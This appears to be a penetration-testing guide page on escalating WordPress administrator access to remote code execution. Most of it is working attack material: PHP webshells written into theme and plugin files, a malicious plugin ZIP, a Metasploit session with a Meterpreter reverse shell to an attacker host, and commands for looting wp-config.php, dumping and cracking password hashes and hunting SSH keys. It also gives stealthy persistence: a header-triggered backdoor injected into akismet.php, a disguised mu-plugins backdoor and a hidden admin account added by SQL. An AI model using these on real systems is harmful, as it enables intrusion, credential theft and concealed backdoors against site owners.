Skip to content

Admin to RCE

Once you have administrator credentials, RCE is mechanical - WordPress’s admin dashboard provides multiple paths to write PHP code that the server will execute. Three reliable methods, ranked by stealth and reliability:

# 1. Theme Editor - modify an inactive theme's 404.php
# Appearance → Theme Editor → select inactive theme → edit 404.php
# Add: <?php system($_GET['c']); ?>
# Trigger: curl 'http://target/wp-content/themes/INACTIVE_THEME/404.php?c=id'
# 2. Plugin Editor - modify any plugin file
# Plugins → Plugin Editor → select plugin → add system() call to main file
# 3. Plugin upload as ZIP
# Plugins → Add New → Upload Plugin → upload a malicious plugin ZIP
# Automated: Metasploit
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf > set RHOSTS target.com
msf > set USERNAME admin
msf > set PASSWORD <password>
msf > set LHOST <attacker>
msf > run

Success indicator: command output (uid=33(www-data) ...) in response to your shell-trigger request, or a Meterpreter session.

WordPress’s design assumption: the administrator role is fully trusted. The admin can modify any post, install any plugin or theme, edit PHP source code through the dashboard, and modify site options. From a security architecture perspective, “compromise of admin credentials” is equivalent to “compromise of the entire WordPress installation.”

This means the admin-to-RCE chain is intentionally built into the platform. You’re not bypassing security; you’re using the documented administrator features.

Two implications:

  1. The chain works on every WordPress install regardless of version (modulo specific hardening - see below).
  2. Detection is impossible to disable entirely without breaking the admin experience.

WordPress’s admin dashboard includes a built-in PHP editor at Appearance → Theme Editor (URL: /wp-admin/theme-editor.php). It lets administrators edit theme PHP source code directly from the browser.

  1. Log into /wp-admin/ with admin credentials.
  2. Navigate to Appearance → Theme Editor.
  3. The editor opens on the active theme by default. Switch to an inactive theme via the top-right “Select theme to edit” dropdown. Choose any inactive theme - Twenty Twenty-Three, Twenty Twenty-Two, etc.

The reason for using an inactive theme: editing the active theme’s functions.php can break the entire site (the broken PHP gets included on every page load). The active theme’s 404.php is somewhat safer (only fires on 404s) but still risky. Inactive themes’ files are loaded only when you directly request them by URL - so editing them is contained.

  1. From the file list on the right, pick 404.php (or any other template file that’s reachable as a direct URL).

  2. Prepend a PHP webshell at the top:

<?php system($_GET['c']); ?>
<?php
/**
* Template for displaying 404 pages - original WP code below
...
  1. Click Update File.

  2. Trigger the webshell:

Terminal window
curl 'http://target/wp-content/themes/twentytwentythree/404.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The shell runs as the web server’s user (www-data on Debian/Ubuntu Apache; apache on RHEL/CentOS; nginx on nginx).

  • The theme editor is disabled when DISALLOW_FILE_EDIT is set in wp-config.php:

    define( 'DISALLOW_FILE_EDIT', true );

    This is a common hardening recommendation. When set, the Theme Editor menu item disappears entirely. Move to Method 2 or 3.

  • Some security plugins (Wordfence, iThemes Security) intercept theme file modifications and roll them back automatically. Test on a target with these in place - modifications may stick for seconds before being reverted.

  • The modification appears in WordPress’s audit log if logging is configured.

Same concept as Theme Editor but for plugins. Plugins → Plugin Editor (URL: /wp-admin/plugin-editor.php).

  1. Log in. Navigate to Plugins → Plugin Editor.
  2. Select a plugin from the dropdown - preferably one that’s small and won’t be missed if you break it (Hello Dolly is bundled with every WordPress install and is famously the example plugin - also famously, it’s a good target for this).
  3. Pick the main PHP file from the file list.
  4. Add a webshell:
<?php
if (isset($_GET['c'])) {
system($_GET['c']);
die();
}
?>
<?php
/**
* Plugin Name: Hello Dolly
* ... (rest of original file)
  1. Update File.
  2. Trigger:
Terminal window
curl 'http://target/wp-content/plugins/hello.php?c=id'

Same caveats as Method 1 apply (DISALLOW_FILE_EDIT, security plugin rollback).

Plugins → Add New → Upload Plugin lets an admin upload a .zip containing a complete plugin. WordPress unpacks the ZIP into wp-content/plugins/<name>/ and (if the plugin’s main file has a proper header) makes it available for activation.

A minimal “plugin” is just a directory with a single PHP file that has the WordPress plugin header:

Terminal window
mkdir pwn
cat > pwn/pwn.php <<'EOF'
<?php
/*
* Plugin Name: pwn
* Description: pwn
* Version: 1.0
*/
if (isset($_GET['c'])) {
system($_GET['c']);
die();
}
?>
EOF
zip -r pwn.zip pwn/
  1. Log in. Navigate to Plugins → Add New → Upload Plugin.
  2. Choose pwn.zip. Click Install Now.
  3. WordPress unpacks the ZIP into wp-content/plugins/pwn/.
  4. The shell is immediately reachable at /wp-content/plugins/pwn/pwn.php?c=id - no activation required, since the file is web-accessible regardless of WordPress’s “active” state.

Why this works when Theme Editor doesn’t

Section titled “Why this works when Theme Editor doesn’t”

DISALLOW_FILE_EDIT disables the theme/plugin editors but does not disable plugin upload. To disable upload, the admin needs:

define( 'DISALLOW_FILE_MODS', true ); // disables both edit AND new install

This is a stronger hardening setting. When set, Method 3 also fails, and the operator needs an alternative path (FTP/SFTP if credentials are also recovered; direct database manipulation; an actual plugin CVE).

Method 4 - Metasploit’s wp_admin_shell_upload

Section titled “Method 4 - Metasploit’s wp_admin_shell_upload”

Metasploit automates Method 3 entirely:

Terminal window
msfconsole
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > show options
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s)
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the WordPress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
LHOST yes The listen address
LPORT 4444 yes The listen port
msf > set RHOSTS target.com
msf > set USERNAME admin
msf > set PASSWORD sunshine1
msf > set LHOST 10.10.16.8
msf > run

What it does internally:

  1. Authenticates to wp-login.php with the provided creds.
  2. Creates a malicious plugin (random name) with a PHP Meterpreter payload.
  3. Uploads it via the plugin upload form (using the auth cookie from step 1).
  4. Triggers the payload by requesting the plugin file directly.
  5. Meterpreter connects back to LHOST:LPORT.
  6. Cleans up the uploaded plugin file (sometimes - depends on the version).

Output:

[*] Started reverse TCP handler on 10.10.16.8:4444
[*] Authenticating with WordPress using admin:sunshine1...
[+] Authenticated with WordPress
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/YtyZGFIhax/uTvAAKrAdp.php...
[*] Sending stage (38247 bytes) to target.com
[*] Meterpreter session 1 opened (10.10.16.8:4444 -> target.com:43210) at 2024-01-01 12:00:00 +0000
[+] Deleted uTvAAKrAdp.php
meterpreter > getuid
Server username: www-data (33)

The module is reliable but very noisy:

  • The temporary plugin name and the temporary PHP filename are random per session, but the pattern (random alphanumeric directories under plugins/) is recognizable to defenders.
  • Meterpreter PHP stage uses well-known network patterns that EDR and IDS catch.
  • The login attempt is via wp-login.php (not xmlrpc.php) - visible in WP audit logs.

For stealth-required engagements, manual Method 1/2/3 with a small custom webshell is often preferable.

Once you have a shell, the standard WordPress looting checklist:

Terminal window
$ cat /var/www/html/wp-config.php | grep -E '^define|table_prefix'

What you grab:

  • DB credentials (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) - for direct database access (mysql -h ... -u ... -p)
  • Auth keys and salts (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, etc.) - for forging WordPress auth cookies
  • Table prefix ($table_prefix) - needed for SQL injection payloads against this DB
Terminal window
$ mysql -h <DB_HOST> -u <DB_USER> -p<DB_PASSWORD> <DB_NAME>
mysql> SELECT ID, user_login, user_email, user_pass FROM wp_users;
mysql> SELECT user_id, meta_value FROM wp_usermeta WHERE meta_key = 'wp_capabilities';

The wp_capabilities meta_value contains the user’s role(s) as a serialized PHP array. Map user IDs to roles to see which accounts are admins.

The user_pass column is phpass-hashed:

$P$BFqBfvWtsHHGzVKVR2KvI6Js2gMQ4Q.

Crack with hashcat mode 400 (WordPress phpass):

Terminal window
hashcat -m 400 wp_hashes.txt /usr/share/wordlists/rockyou.txt
Terminal window
# Backup plugins often dump SQL/ZIPs into uploads or a backup subdir
find /var/www/html/wp-content -name '*.sql' -o -name '*.sql.gz' -o -name '*.zip' -o -name '*.bak'
# Recent uploads - sometimes employees attach sensitive files
ls -la /var/www/html/wp-content/uploads/$(date +%Y)/$(date +%m)/
# Debug log if WP_DEBUG_LOG was enabled - contains paths and stack traces
cat /var/www/html/wp-content/debug.log 2>/dev/null
# .htaccess sometimes contains HTTP Basic credentials
cat /var/www/html/.htaccess
cat /var/www/html/wp-admin/.htaccess 2>/dev/null
Terminal window
# Linux user enumeration
cat /etc/passwd
# Look for SSH keys on the server
find / -name 'id_rsa' -readable 2>/dev/null
find / -name 'authorized_keys' -readable 2>/dev/null
# Sometimes the webserver user has sudo
sudo -l 2>&1
# Other services running on the host
netstat -tnlp 2>/dev/null || ss -tnlp 2>/dev/null

The DB_HOST from wp-config.php is often not localhost - it can point to an internal database server. That’s an internal-network host worth attacking:

  • If DB_HOST = db.internal:3306, see the MySQL service page for what to do with database credentials on an internal target.
  • Other internal hosts the WordPress server can reach (via its DB connection, via the API integrations the plugins use, via the WP-CRON external endpoints) - each is a target.

If the engagement scope permits persistence:

-- See "Direct admin user creation via SQL" in login-bruteforce/
INSERT INTO wp_users (user_login, user_pass, user_email, user_registered, display_name)
VALUES ('support', '$P$<hash-of-PASS>', '[email protected]', NOW(), 'Support');
INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
VALUES (LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');

Survives plugin uninstall, theme replacement, and WP core update. Doesn’t survive a fresh install from backup that overwrites the DB.

Webshell hidden in a plugin’s existing file

Section titled “Webshell hidden in a plugin’s existing file”

Replacing an existing plugin file (instead of adding a new one) is less likely to be noticed:

Terminal window
# Find a plugin file with low recent activity
ls -la wp-content/plugins/akismet/akismet.php
# Inject a webshell that triggers on a specific header or unusual parameter
echo '<?php if($_SERVER["HTTP_X_PWN"]) { system($_SERVER["HTTP_X_PWN"]); } ?>' \
| cat - wp-content/plugins/akismet/akismet.php > /tmp/new && \
mv /tmp/new wp-content/plugins/akismet/akismet.php

Triggered by sending a request with the header X-Pwn: id. Doesn’t appear in URL paths; doesn’t break the plugin’s normal function.

The wp-content/mu-plugins/ directory (“must-use plugins”) is loaded by WordPress automatically without needing activation. Drop a PHP file there:

Terminal window
mkdir -p wp-content/mu-plugins
cat > wp-content/mu-plugins/cache.php <<'EOF'
<?php
if (isset($_COOKIE['wp-cache-key']) && $_COOKIE['wp-cache-key'] === 'YOUR-SECRET') {
system($_GET['c']);
die();
}
EOF

mu-plugins doesn’t appear in the admin “Plugins” page (intentionally - it’s for hosting-provider plugins). Less visible to anyone reviewing the plugin list.

For pentest reports, document any persistence you added and remove it at the end of the engagement. Common cleanup:

DELETE FROM wp_users WHERE user_login = 'support';
DELETE FROM wp_usermeta WHERE user_id NOT IN (SELECT ID FROM wp_users);
Terminal window
rm /var/www/html/wp-content/mu-plugins/cache.php
# restore plugin files from a known-clean backup
MethodPrereqPath
Theme EditorDISALLOW_FILE_EDIT not set/wp-admin/theme-editor.php → edit 404.php in inactive theme
Plugin EditorDISALLOW_FILE_EDIT not set/wp-admin/plugin-editor.php → edit plugin main file
Plugin upload (manual)DISALLOW_FILE_MODS not setBuild ZIP, upload via /wp-admin/plugin-install.php
Plugin upload (auto)Samemsf > use exploit/unix/webapp/wp_admin_shell_upload
Webshell triggerAfter file is writtencurl 'http://target/wp-content/<path>?c=COMMAND'
Read wp-config.phpPost-RCEcat /var/www/html/wp-config.php
Dump WP users from DBDB credentials in handSELECT user_login, user_pass FROM wp_users;
Crack WP hashphpass hash from DBhashcat -m 400 hashes.txt wordlist.txt
mu-plugins backdoorFilesystem writeDrop PHP into wp-content/mu-plugins/
DB backdoor userDB writeINSERT INTO wp_users + wp_usermeta